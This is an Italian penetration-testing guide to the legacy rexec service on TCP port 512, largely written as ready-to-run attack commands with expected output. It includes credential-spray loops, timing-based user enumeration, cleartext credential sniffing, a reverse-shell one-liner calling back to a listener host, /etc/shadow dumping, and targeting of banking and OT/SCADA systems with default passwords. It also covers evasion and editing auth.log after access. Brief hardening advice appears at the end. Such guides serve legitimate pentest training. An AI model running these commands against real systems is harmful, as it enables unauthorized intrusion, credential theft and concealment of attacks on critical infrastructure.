Porta 512 Rexec: cos’è, vulnerabilità e guida pentest completa

Executive Summary — La porta 512 rexec espone il servizio Remote Execution, un protocollo legacy Unix che consente esecuzione di comandi remoti con autenticazione username/password in chiaro. Se la trovi aperta, hai un canale diretto per command execution — senza cifratura, senza logging avanzato. Questa guida copre enumerazione, credential spray, cattura credenziali e pivot verso sistemi moderni.

TL;DR

Primo punto: Porta 512 rexec trasmette credenziali in chiaro, quindi è sniffabile con tcpdump da qualsiasi punto della rete.

Secondo punto: Bastano username e password validi per eseguire comandi arbitrari sul target.

Terzo punto: È ancora presente su sistemi Unix, AIX e Solaris legacy in produzione, soprattutto in ambienti enterprise e OT.

Porta 512 rexec è il servizio Remote Execution Protocol, uno dei “r-commands” BSD che permette l’esecuzione di comandi su host remoti tramite autenticazione username/password. La porta 512 vulnerabilità principale è strutturale: credenziali e comandi viaggiano in chiaro su TCP, senza cifratura né protezione di integrità. L’enumerazione porta 512 conferma la presenza di sistemi legacy nella rete — ogni host con rexec attivo è un candidato per credential spray e lateral movement immediato. Nel pentest, rexec si posiziona come vettore di initial access su sistemi dove SSH non è disponibile o non è l’unico servizio di accesso remoto.

1. Anatomia Tecnica della Porta 512 #

La porta 512 è registrata IANA come exec su protocollo TCP. Il servizio è gestito dal daemon rexecd, tipicamente lanciato via inetd o xinetd.

Il flusso di autenticazione:

1. TCP handshake sulla porta 512
2. Client → Server: porta per stderr (opzionale), username, password, comando da eseguire — tutto in chiaro, separato da null byte (\x00)
3. Server: verifica credenziali in /etc/passwd (o PAM), esegue il comando
4. Server → Client: output del comando + exit code

Le varianti nella famiglia r-commands sono rexec (512/TCP, richiede password), rlogin (513/TCP, trust .rhosts), rsh (514/TCP, trust .rhosts). A differenza di rsh/rlogin, rexec richiede sempre una password — non si basa su file trust.

Misconfig: rexecd attivo su interfacce di rete pubbliche
Impatto: qualsiasi host raggiungibile può tentare autenticazione e command execution
Come si verifica: nmap -sV -p 512 [target]

Misconfig: Credenziali deboli su account locali
Impatto: accesso diretto con esecuzione comandi come l'utente autenticato (spesso root su sistemi legacy)
Come si verifica: rexec [target] -l root -p admin id

Misconfig: Nessun rate limiting sui tentativi di autenticazione
Impatto: brute force illimitato su username/password
Come si verifica: tentare 10 login in rapida successione e verificare se nessun blocco interviene

2. Enumerazione Base #

Comando 1: Nmap #

nmap -sV -sC -p 512 10.10.10.40

Output atteso:

PORT    STATE SERVICE VERSION
512/tcp open  exec    rexecd
| fingerprint-strings:
|   NULL:
|_    \x00

Parametri:

• -sV: identifica il servizio come rexecd e tenta fingerprint dell’OS
• -sC: script default per raccogliere informazioni aggiuntive
• -p 512: scan specifico sulla porta di Remote Execution

Comando 2: Connessione diretta con rexec #

rexec 10.10.10.40 -l testuser -p testpass id

Output atteso (credenziali valide):

uid=1001(testuser) gid=1001(testuser) groups=1001(testuser),27(sudo)

Output atteso (credenziali invalide):

Login incorrect.

Cosa ci dice questo output: se ottieni l’output di id, hai command execution confermata. Il campo groups rivela se l’utente è in sudo — se sì, puoi escalare a root. Se le credenziali falliscono, il messaggio conferma comunque che rexecd è attivo e accetta tentativi.

3. Enumerazione Avanzata #

Fingerprint OS tramite rexec #

Se hai credenziali valide (anche base), puoi fingerprint il sistema:

rexec 10.10.10.40 -l user -p pass "uname -a"

Output:

SunOS prod-db01 5.11 11.4.42.111.0 sun4v sparc SUNW,SPARC-Enterprise-T5220

Lettura dell’output: sistema Solaris 11.4 su hardware SPARC. Questo tipo di sistema si trova tipicamente in ambienti bancari e assicurativi. SMUX e altri servizi legacy sono probabilmente attivi — verifica la porta 199 SMUX per vettori aggiuntivi.

Sniffing credenziali rexec in transito #

Poiché rexec trasmette tutto in chiaro, puoi catturare credenziali di altri utenti:

sudo tcpdump -i eth0 tcp port 512 -A -s 0 | grep -A5 -B5 "root\|admin\|user"

Output:

14:30:01.123 IP 10.10.10.45.54321 > 10.10.10.40.512: Flags [P.]
.root.S3cretP@ss.id.

Lettura dell’output: catturato login rexec — utente root, password S3cretP@ss, comando id. I campi sono separati da null byte (visualizzati come .). Questa tecnica è completamente passiva. Per approfondire lo sniffing di protocolli legacy, leggi la guida al network sniffing.

Enumerazione utenti tramite timing #

for user in root admin oracle db2inst1 nobody; do
  start=$(date +%s%N)
  rexec 10.10.10.40 -l "$user" -p wrong id 2>/dev/null
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$user: ${elapsed}ms"
done

Output:

root: 45ms
admin: 120ms
oracle: 42ms
db2inst1: 125ms
nobody: 40ms

Lettura dell’output: tempi di risposta diversi possono indicare utenti validi. admin e db2inst1 rispondono più lentamente — il server esegue la verifica password solo se l’utente esiste. Questo side-channel non è affidabile al 100% ma fornisce candidati per il credential spray.

4. Tecniche Offensive #

Credential spray su rexec

Contesto: rexecd attivo senza rate limiting. Credenziali di default o deboli su sistemi legacy.

for user in root admin oracle; do
  for pass in root admin oracle password changeme; do
    timeout 3 rexec 10.10.10.40 -l "$user" -p "$pass" id 2>/dev/null && echo "[+] $user:$pass"
  done
done

Output (successo):

uid=0(root) gid=0(root)
[+] root:changeme

Output (fallimento):

(nessun output - tutte le combinazioni fallite)

Cosa fai dopo: accesso root confermato con password changeme. Esegui subito cat /etc/shadow per dump hash e cat /etc/hosts per mappare la rete. Usa le credenziali su altri host con lateral movement automatizzato.

Reverse shell via rexec

Contesto: credenziali valide ottenute, serve shell interattiva.

rexec 10.10.10.40 -l root -p changeme "bash -c 'bash -i >& /dev/tcp/10.10.10.100/4444 0>&1'"

Output (successo — sul listener):

connect to [10.10.10.100] from (UNKNOWN) [10.10.10.40] 55001
root@prod-db01:~#

Output (fallimento):

bash: /dev/tcp/10.10.10.100/4444: Connection refused

Cosa fai dopo: shell root ottenuta. Stabilisci persistenza, scarica hash, enumera la rete interna. Se la reverse shell fallisce, prova alternative: nc -e /bin/sh 10.10.10.100 4444 o metti un listener sulla porta 80/443 per bypassare firewall in uscita.

Password reuse cross-service

Contesto: credenziali rexec valide, testale su tutti i servizi disponibili.

# Testa le credenziali root:changeme su SSH, SMB, e altri r-commands
ssh root@10.10.10.40  # prova changeme
rlogin -l root 10.10.10.40
smbclient -L 10.10.10.40 -U root%changeme

Output (successo):

root@prod-db01's password: 
Last login: Mon Feb 03 09:15:00 2026
root@prod-db01:~#

Cosa fai dopo: password reuse confermata su SSH. Documenta e testa su tutti gli host della rete dove root o gli stessi utenti esistono. Consulta le tecniche di credential reuse per automatizzare.

5. Scenari Pratici di Pentest #

Scenario 1: Enterprise con server Solaris/AIX legacy #

Situazione: datacenter bancario con 10 server Solaris e AIX. Rexec attivo per compatibility con script di automazione legacy. Segmento di management accessibile.

Step 1:

nmap -sV -p 512,513,514 10.10.10.0/24 --open

Output atteso:

10.10.10.40 - 512/tcp open exec
10.10.10.41 - 512/tcp open exec
10.10.10.40 - 513/tcp open login
10.10.10.41 - 514/tcp open shell

Step 2:

rexec 10.10.10.40 -l oracle -p oracle "cat /etc/oratab"

Output atteso:

PRODDB:/oracle/app/12.2.0:Y
TESTDB:/oracle/app/12.2.0:N

Se fallisce:

• Causa probabile: utente oracle non ha shell o è disabilitato per login remoto
• Fix: prova root, admin, db2inst1. Su AIX prova padmin

Tempo stimato: 10-20 minuti

Scenario 2: OT/ICS con rexec su controller legacy #

Situazione: impianto industriale con workstation SCADA su Solaris 10. Rexec usato da script di monitoring. Rete flat senza segmentazione IT/OT.

Step 1:

nmap -sV -p 512 192.168.1.0/24 --open -Pn

Output atteso:

192.168.1.50 - 512/tcp open exec rexecd

Step 2:

rexec 192.168.1.50 -l root -p root "uname -a; ifconfig -a"

Output atteso:

SunOS scada-ws01 5.10 Generic_150400-61 i86pc i386 i86pc

Se fallisce:

• Causa probabile: password non è il default
• Fix: prova combinazioni OT comuni: operator/operator, scada/scada, hostname come password

Tempo stimato: 5-15 minuti

Scenario 3: Lab CTF con r-commands chain #

Situazione: macchina CTF con rexec, rlogin e rsh tutti attivi. L’obiettivo è concatenare i tre servizi.

Step 1:

rexec 10.10.10.40 -l user -p user123 "cat /etc/hosts.equiv"

Output atteso:

+ +

Step 2:

# Il + + in hosts.equiv = trust totale. Usa rsh senza password:
rsh 10.10.10.40 -l root id

Output atteso:

uid=0(root) gid=0(root)

Se fallisce:

• Causa probabile: hosts.equiv non ha il wildcard, o rsh è configurato diversamente
• Fix: controlla anche ~root/.rhosts: rexec 10.10.10.40 -l user -p user123 "cat /root/.rhosts"

Tempo stimato: 5-10 minuti

6. Attack Chain Completa #

Recon (scan 512) → Credential Spray → RCE → Shadow Dump → Hash Crack → Lateral Movement (SSH/rlogin)

Timeline stimata: 15-45 minuti. Rexec è fast-track — se le credenziali funzionano, hai RCE immediata.

Ruolo della porta 512: è un canale di command execution diretto con zero overhead. Nessun tunnel da configurare, nessun exploit da customizzare. Username + password = comandi.

7. Detection & Evasion #

Cosa monitora il Blue Team #

• Log di inetd/xinetd: /var/log/auth.log o /var/log/secure per tentativi di login rexec
• Syslog: connessioni TCP/512 loggate se inetd è configurato con -l
• Network monitoring: traffico cleartext sulla 512 rilevabile da qualsiasi IDS con regole per r-commands

Tecniche di Evasion #

Tecnica: Singolo tentativo mirato
Come: usa credenziali raccolte da altri vettori (dump, phishing) — un solo login, nessun brute force
Riduzione rumore: un login riuscito al primo tentativo è indistinguibile da uso legittimo

Tecnica: Esecuzione durante orari di attività script
Come: se rexec è usato da cron job, esegui i tuoi comandi negli stessi orari
Riduzione rumore: il traffico TCP/512 è atteso in quei momenti

Tecnica: Comandi brevi e specifici
Come: evita comandi lunghi o catene di pipe. Un singolo "cat /etc/shadow" è meno sospetto di un one-liner complesso
Riduzione rumore: meno dati nel log, meno pattern anomali

Cleanup Post-Exploitation #

• I comandi eseguiti via rexec non generano shell history (non c’è login shell)
• Controlla /var/log/auth.log per tracce del tuo login — se hai root, puoi editare
• Se hai lanciato una reverse shell, termina il processo e rimuovi artefatti

8. Toolchain e Confronto #

Pipeline operativa #

nmap (scan 512/513/514) → rexec (credential test + RCE) → tcpdump (sniffing creds) → john (hash crack) → ssh (lateral movement)

Tabella comparativa #

9. Troubleshooting #

10. FAQ #

D: Cos’è rexec e perché la porta 512 è pericolosa?

R: Rexec (Remote Execution) è un servizio Unix legacy sulla porta 512 TCP che permette esecuzione di comandi remoti con username e password. È pericoloso perché trasmette tutto in chiaro — credenziali incluse — e non ha rate limiting o cifratura.

D: Porta 512 rexec è ancora usata nel 2026?

R: Sì, su sistemi Unix legacy in produzione — AIX, Solaris, HP-UX — specialmente in ambienti bancari, OT/ICS e datacenter che mantengono applicazioni legacy. Spesso rexec è usato da script di automazione che non sono mai stati migrati a SSH.

D: Qual è la differenza tra rexec, rlogin e rsh?

R: Rexec (512) richiede sempre username e password. Rlogin (513) e rsh (514) usano file trust (.rhosts, hosts.equiv) e possono autenticare senza password. Rexec è l’unico dei tre che richiede credenziali esplicite.

D: Come sfruttare rexec se non ho il client installato?

R: Usa netcat raw. Il protocollo è semplice: echo -e '\x00username\x00password\x00command\x00' | nc [target] 512. I campi sono separati da null byte.

D: Come proteggere la porta 512?

R: Disabilita rexecd completamente. Commenta la riga exec in /etc/inetd.conf e riavvia inetd. Migra tutti gli script a SSH con autenticazione a chiave.

11. Cheat Sheet Finale #

Perché Porta 512 è rilevante nel 2026 #

Sistemi AIX e Solaris in produzione in ambienti finanziari e industriali mantengono rexec attivo per backward compatibility. La migrazione a SSH è incompleta in molte organizzazioni. Ogni scan di rete interna dovrebbe includere le porte 512-514 per identificare questi servizi dimenticati.

Hardening e Mitigazione #

• Disabilita rexecd: commenta exec in /etc/inetd.conf, refresh -s inetd su AIX
• Migra tutti gli script di automazione a SSH con chiavi: ssh-keygen + authorized_keys
• Se rexec è indispensabile: limita accesso via TCP Wrappers in /etc/hosts.allow: exec: 10.10.10.0/24
• Monitora connessioni TCP/512 nel SIEM come evento ad alta priorità

OPSEC per il Red Team #

Rexec genera log in /var/log/auth.log (Linux) o via syslog su AIX/Solaris. Il livello di rumore è medio: ogni tentativo di login è loggato. Il traffico cleartext è il rischio principale per l’OPSEC — un IDS qualsiasi rileva credenziali in transito. Per ridurre visibilità: usa credenziali raccolte da altri canali (mai brute force), esegui comandi brevi, opera da un IP nella subnet di management e in orari compatibili con l’uso legittimo degli script di automazione.

Tutti i comandi e le tecniche sono destinati esclusivamente ad ambienti autorizzati: penetration test con contratto, lab, CTF. Riferimento: RFC 1282 (BSD Rlogin), manpage rexecd(8).

Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi. Confronta anche la guida di hacktricks https://hacktricks.wiki/en/network-services-pentesting/512-pentesting-rexec.html